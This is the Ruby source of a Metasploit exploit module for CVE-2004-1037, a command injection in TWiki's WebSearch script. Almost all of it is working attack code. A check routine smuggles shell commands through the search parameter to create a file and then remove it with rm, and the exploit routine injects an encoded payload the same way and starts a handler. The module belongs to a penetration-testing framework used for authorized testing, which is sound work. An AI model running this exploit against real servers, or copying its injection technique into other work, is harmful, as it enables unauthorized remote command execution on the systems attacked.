metasploit-framework/modules/exploits/unix/webapp/twiki_search.rb

122 lines
3.7 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'TWiki Search Function Arbitrary Command Execution',
'Description' => %q{
This module exploits a vulnerability in the search component of TWiki.
By passing a 'search' parameter containing shell metacharacters to the
'WebSearch' script, an attacker can execute arbitrary OS commands.
},
'Author' =>
[
# Unknown - original discovery
'jduck' # metasploit version
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2004-1037' ],
[ 'OSVDB', '11714' ],
[ 'BID', '11674' ],
[ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithSearch' ]
],
'Privileged' => true, # web server context
'Payload' =>
{
'DisableNops' => true,
'BadChars' => ' ',
'Space' => 1024,
},
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Oct 01 2004',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [ true, "TWiki bin directory path", "/twiki/bin" ]),
])
end
def check
content = rand_text_alphanumeric(16+rand(16))
test_file = rand_text_alphanumeric(8+rand(8))
cmd_base = normalize_uri(datastore['URI'], '/view/Main/WebSearch?search=')
test_url = normalize_uri(datastore['URI'], '/view/Main/', test_file)
# first see if it already exists (it really shouldn't)
res = send_request_raw({
'uri' => test_url
}, 25)
if (not res) or (res.body.match(content))
vprint_warning("The test file exists already!")
return Exploit::CheckCode::Unknown # Need to try again with a different file
end
# try to create it
vprint_status("Attempting to create #{test_url} ...")
search = rand_text_numeric(1+rand(5)) + "\';echo${IFS}" + content + "${IFS}>" + test_file + ".txt;#\'"
res = send_request_raw({
'uri' => cmd_base + Rex::Text.uri_encode(search)
}, 25)
if (not res) or (res.code != 200)
return Exploit::CheckCode::Safe
end
# try to run it, 500 code == successfully made it
res = send_request_raw({
'uri' => test_url
}, 25)
if (not res) or (not res.body.match(content))
return Exploit::CheckCode::Safe
end
# delete the tmp file
print_status("Attempting to delete #{test_url} ...")
search = rand_text_numeric(1+rand(5)) + "\';rm${IFS}-f${IFS}" + test_file + ".txt;#\'"
res = send_request_raw({
'uri' => cmd_base + Rex::Text.uri_encode(search)
}, 25)
if (not res) or (res.code != 200)
vprint_warning("WARNING: unable to remove test file (#{test_file})")
end
return Exploit::CheckCode::Vulnerable
end
def exploit
search = rand_text_alphanumeric(1+rand(8))
search << "';" + payload.encoded + ";#\'"
query_str = normalize_uri(datastore['URI'], '/view/Main/WebSearch')
query_str << '?search='
query_str << Rex::Text.uri_encode(search)
res = send_request_cgi({
'method' => 'GET',
'uri' => query_str,
}, 25)
if (res and res.code == 200)
print_good("Successfully sent exploit request")
else
fail_with(Failure::Unknown, "Error sending exploit request")
end
handler
end
end